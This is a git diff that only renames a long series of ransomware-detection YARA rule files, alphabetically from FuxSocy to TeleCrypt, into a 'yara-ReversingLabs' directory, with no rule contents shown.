rename from yara/ransomware/Win32.Ransomware.FuxSocy.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.FuxSocy.yara
diff --git a/yara/ransomware/Win32.Ransomware.GPGQwerty.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.GPGQwerty.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.GPGQwerty.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.GPGQwerty.yara
diff --git a/yara/ransomware/Win32.Ransomware.GandCrab.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.GandCrab.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.GandCrab.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.GandCrab.yara
diff --git a/yara/ransomware/Win32.Ransomware.GarrantyDecrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.GarrantyDecrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.GarrantyDecrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.GarrantyDecrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.Gibon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Gibon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Gibon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Gibon.yara
diff --git a/yara/ransomware/Win32.Ransomware.GlobeImposter.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.GlobeImposter.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.GlobeImposter.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.GlobeImposter.yara
diff --git a/yara/ransomware/Win32.Ransomware.Gomer.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Gomer.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Gomer.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Gomer.yara
diff --git a/yara/ransomware/Win32.Ransomware.Good.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Good.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Good.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Good.yara
diff --git a/yara/ransomware/Win32.Ransomware.Gpcode.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Gpcode.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Gpcode.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Gpcode.yara
diff --git a/yara/ransomware/Win32.Ransomware.GusCrypter.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.GusCrypter.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.GusCrypter.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.GusCrypter.yara
diff --git a/yara/ransomware/Win32.Ransomware.HDDCryptor.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.HDDCryptor.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.HDDCryptor.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.HDDCryptor.yara
diff --git a/yara/ransomware/Win32.Ransomware.HDMR.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.HDMR.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.HDMR.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.HDMR.yara
diff --git a/yara/ransomware/Win32.Ransomware.HakunaMatata.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.HakunaMatata.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.HakunaMatata.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.HakunaMatata.yara
diff --git a/yara/ransomware/Win32.Ransomware.Henry.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Henry.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Henry.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Henry.yara
diff --git a/yara/ransomware/Win32.Ransomware.HentaiOniichan.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.HentaiOniichan.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.HentaiOniichan.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.HentaiOniichan.yara
diff --git a/yara/ransomware/Win32.Ransomware.Hermes.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Hermes.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Hermes.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Hermes.yara
diff --git a/yara/ransomware/Win32.Ransomware.Horsedeal.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Horsedeal.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Horsedeal.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Horsedeal.yara
diff --git a/yara/ransomware/Win32.Ransomware.HowAreYou.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.HowAreYou.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.HowAreYou.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.HowAreYou.yara
diff --git a/yara/ransomware/Win32.Ransomware.HydraCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.HydraCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.HydraCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.HydraCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.IFN643.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.IFN643.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.IFN643.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.IFN643.yara
diff --git a/yara/ransomware/Win32.Ransomware.InfoDot.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.InfoDot.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.InfoDot.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.InfoDot.yara
diff --git a/yara/ransomware/Win32.Ransomware.JSWorm.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.JSWorm.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.JSWorm.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.JSWorm.yara
diff --git a/yara/ransomware/Win32.Ransomware.Jamper.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Jamper.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Jamper.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Jamper.yara
diff --git a/yara/ransomware/Win32.Ransomware.Jemd.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Jemd.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Jemd.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Jemd.yara
diff --git a/yara/ransomware/Win32.Ransomware.Jormungand.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Jormungand.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Jormungand.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Jormungand.yara
diff --git a/yara/ransomware/Win32.Ransomware.JuicyLemon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.JuicyLemon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.JuicyLemon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.JuicyLemon.yara
diff --git a/yara/ransomware/Win32.Ransomware.Kangaroo.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Kangaroo.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Kangaroo.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Kangaroo.yara
diff --git a/yara/ransomware/Win32.Ransomware.KawaiiLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.KawaiiLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.KawaiiLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.KawaiiLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.KillDisk.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.KillDisk.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.KillDisk.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.KillDisk.yara
diff --git a/yara/ransomware/Win32.Ransomware.Knot.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Knot.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Knot.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Knot.yara
diff --git a/yara/ransomware/Win32.Ransomware.Kovter.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Kovter.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Kovter.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Kovter.yara
diff --git a/yara/ransomware/Win32.Ransomware.Koxic.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Koxic.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Koxic.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Koxic.yara
diff --git a/yara/ransomware/Win32.Ransomware.Kraken.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Kraken.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Kraken.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Kraken.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ladon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ladon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ladon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ladon.yara
diff --git a/yara/ransomware/Win32.Ransomware.LeChiffre.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.LeChiffre.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.LeChiffre.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.LeChiffre.yara
diff --git a/yara/ransomware/Win32.Ransomware.LockBit.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.LockBit.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.LockBit.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.LockBit.yara
diff --git a/yara/ransomware/Win32.Ransomware.Lolkek.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Lolkek.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Lolkek.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Lolkek.yara
diff --git a/yara/ransomware/Win32.Ransomware.LooCipher.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.LooCipher.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.LooCipher.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.LooCipher.yara
diff --git a/yara/ransomware/Win32.Ransomware.Lorenz.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Lorenz.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Lorenz.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Lorenz.yara
diff --git a/yara/ransomware/Win32.Ransomware.MRAC.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.MRAC.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.MRAC.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.MRAC.yara
diff --git a/yara/ransomware/Win32.Ransomware.MZP.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.MZP.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.MZP.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.MZP.yara
diff --git a/yara/ransomware/Win32.Ransomware.Mafia.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Mafia.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Mafia.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Mafia.yara
diff --git a/yara/ransomware/Win32.Ransomware.Magniber.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Magniber.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Magniber.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Magniber.yara
diff --git a/yara/ransomware/Win32.Ransomware.Major.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Major.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Major.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Major.yara
diff --git a/yara/ransomware/Win32.Ransomware.Makop.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Makop.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Makop.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Makop.yara
diff --git a/yara/ransomware/Win32.Ransomware.Maktub.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Maktub.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Maktub.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Maktub.yara
diff --git a/yara/ransomware/Win32.Ransomware.Marlboro.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Marlboro.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Marlboro.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Marlboro.yara
diff --git a/yara/ransomware/Win32.Ransomware.MarsJoke.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.MarsJoke.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.MarsJoke.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.MarsJoke.yara
diff --git a/yara/ransomware/Win32.Ransomware.Matsnu.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Matsnu.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Matsnu.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Matsnu.yara
diff --git a/yara/ransomware/Win32.Ransomware.MedusaLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.MedusaLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.MedusaLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.MedusaLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Meow.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Meow.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Meow.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Meow.yara
diff --git a/yara/ransomware/Win32.Ransomware.Monalisa.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Monalisa.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Monalisa.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Monalisa.yara
diff --git a/yara/ransomware/Win32.Ransomware.Montserrat.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Montserrat.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Montserrat.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Montserrat.yara
diff --git a/yara/ransomware/Win32.Ransomware.Motocos.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Motocos.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Motocos.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Motocos.yara
diff --git a/yara/ransomware/Win32.Ransomware.MountLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.MountLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.MountLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.MountLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.NB65.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.NB65.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.NB65.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.NB65.yara
diff --git a/yara/ransomware/Win32.Ransomware.NanoLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.NanoLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.NanoLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.NanoLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Nefilim.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Nefilim.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Nefilim.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Nefilim.yara
diff --git a/yara/ransomware/Win32.Ransomware.Nemty.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Nemty.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Nemty.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Nemty.yara
diff --git a/yara/ransomware/Win32.Ransomware.Networm.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Networm.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Networm.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Networm.yara
diff --git a/yara/ransomware/Win32.Ransomware.NotPetya.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.NotPetya.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.NotPetya.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.NotPetya.yara
diff --git a/yara/ransomware/Win32.Ransomware.Oni.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Oni.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Oni.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Oni.yara
diff --git a/yara/ransomware/Win32.Ransomware.OphionLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.OphionLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.OphionLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.OphionLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ouroboros.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ouroboros.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ouroboros.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ouroboros.yara
diff --git a/yara/ransomware/Win32.Ransomware.Outsider.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Outsider.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Outsider.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Outsider.yara
diff --git a/yara/ransomware/Win32.Ransomware.PXJ.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.PXJ.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.PXJ.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.PXJ.yara
diff --git a/yara/ransomware/Win32.Ransomware.Paradise.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Paradise.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Paradise.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Paradise.yara
diff --git a/yara/ransomware/Win32.Ransomware.Pay2Key.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Pay2Key.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Pay2Key.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Pay2Key.yara
diff --git a/yara/ransomware/Win32.Ransomware.Petya.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Petya.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Petya.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Petya.yara
diff --git a/yara/ransomware/Win32.Ransomware.Plague17.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Plague17.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Plague17.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Plague17.yara
diff --git a/yara/ransomware/Win32.Ransomware.PrincessLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.PrincessLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.PrincessLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.PrincessLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Prometey.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Prometey.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Prometey.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Prometey.yara
diff --git a/yara/ransomware/Win32.Ransomware.RagnarLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.RagnarLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.RagnarLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.RagnarLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ragnarok.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ragnarok.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ragnarok.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ragnarok.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ransoc.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ransoc.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ransoc.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ransoc.yara
diff --git a/yara/ransomware/Win32.Ransomware.RansomPlus.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.RansomPlus.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.RansomPlus.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.RansomPlus.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ransomexx.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ransomexx.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ransomexx.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ransomexx.yara
diff --git a/yara/ransomware/Win32.Ransomware.Redeemer.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Redeemer.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Redeemer.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Redeemer.yara
diff --git a/yara/ransomware/Win32.Ransomware.RegretLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.RegretLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.RegretLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.RegretLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.RetMyData.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.RetMyData.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.RetMyData.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.RetMyData.yara
diff --git a/yara/ransomware/Win32.Ransomware.Reveton.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Reveton.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Reveton.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Reveton.yara
diff --git a/yara/ransomware/Win32.Ransomware.Revil.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Revil.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Revil.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Revil.yara
diff --git a/yara/ransomware/Win32.Ransomware.Rokku.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Rokku.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Rokku.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Rokku.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ryuk.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ryuk.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ryuk.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ryuk.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sage.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sage.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sage.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sage.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sanwai.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sanwai.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sanwai.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sanwai.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sarbloh.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sarbloh.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sarbloh.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sarbloh.yara
diff --git a/yara/ransomware/Win32.Ransomware.Satan.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Satan.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Satan.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Satan.yara
diff --git a/yara/ransomware/Win32.Ransomware.Satana.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Satana.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Satana.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Satana.yara
diff --git a/yara/ransomware/Win32.Ransomware.Saturn.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Saturn.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Saturn.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Saturn.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sepsis.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sepsis.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sepsis.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sepsis.yara
diff --git a/yara/ransomware/Win32.Ransomware.Serpent.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Serpent.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Serpent.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Serpent.yara
diff --git a/yara/ransomware/Win32.Ransomware.SevenSevenSeven.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.SevenSevenSeven.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.SevenSevenSeven.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.SevenSevenSeven.yara
diff --git a/yara/ransomware/Win32.Ransomware.ShadowCryptor.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.ShadowCryptor.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.ShadowCryptor.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.ShadowCryptor.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sherminator.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sherminator.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sherminator.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sherminator.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sifrelendi.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sifrelendi.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sifrelendi.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sifrelendi.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sifreli.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sifreli.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sifreli.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sifreli.yara
diff --git a/yara/ransomware/Win32.Ransomware.Sigrun.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Sigrun.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Sigrun.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Sigrun.yara
diff --git a/yara/ransomware/Win32.Ransomware.Skystars.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Skystars.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Skystars.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Skystars.yara
diff --git a/yara/ransomware/Win32.Ransomware.Spora.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Spora.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Spora.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Spora.yara
diff --git a/yara/ransomware/Win32.Ransomware.TBLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.TBLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.TBLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.TBLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.TargetCompany.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.TargetCompany.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.TargetCompany.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.TargetCompany.yara
diff --git a/yara/ransomware/Win32.Ransomware.TechandStrat.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.TechandStrat.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.TechandStrat.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.TechandStrat.yara
diff --git a/yara/ransomware/Win32.Ransomware.TeleCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.TeleCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.TeleCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.TeleCrypt.yara
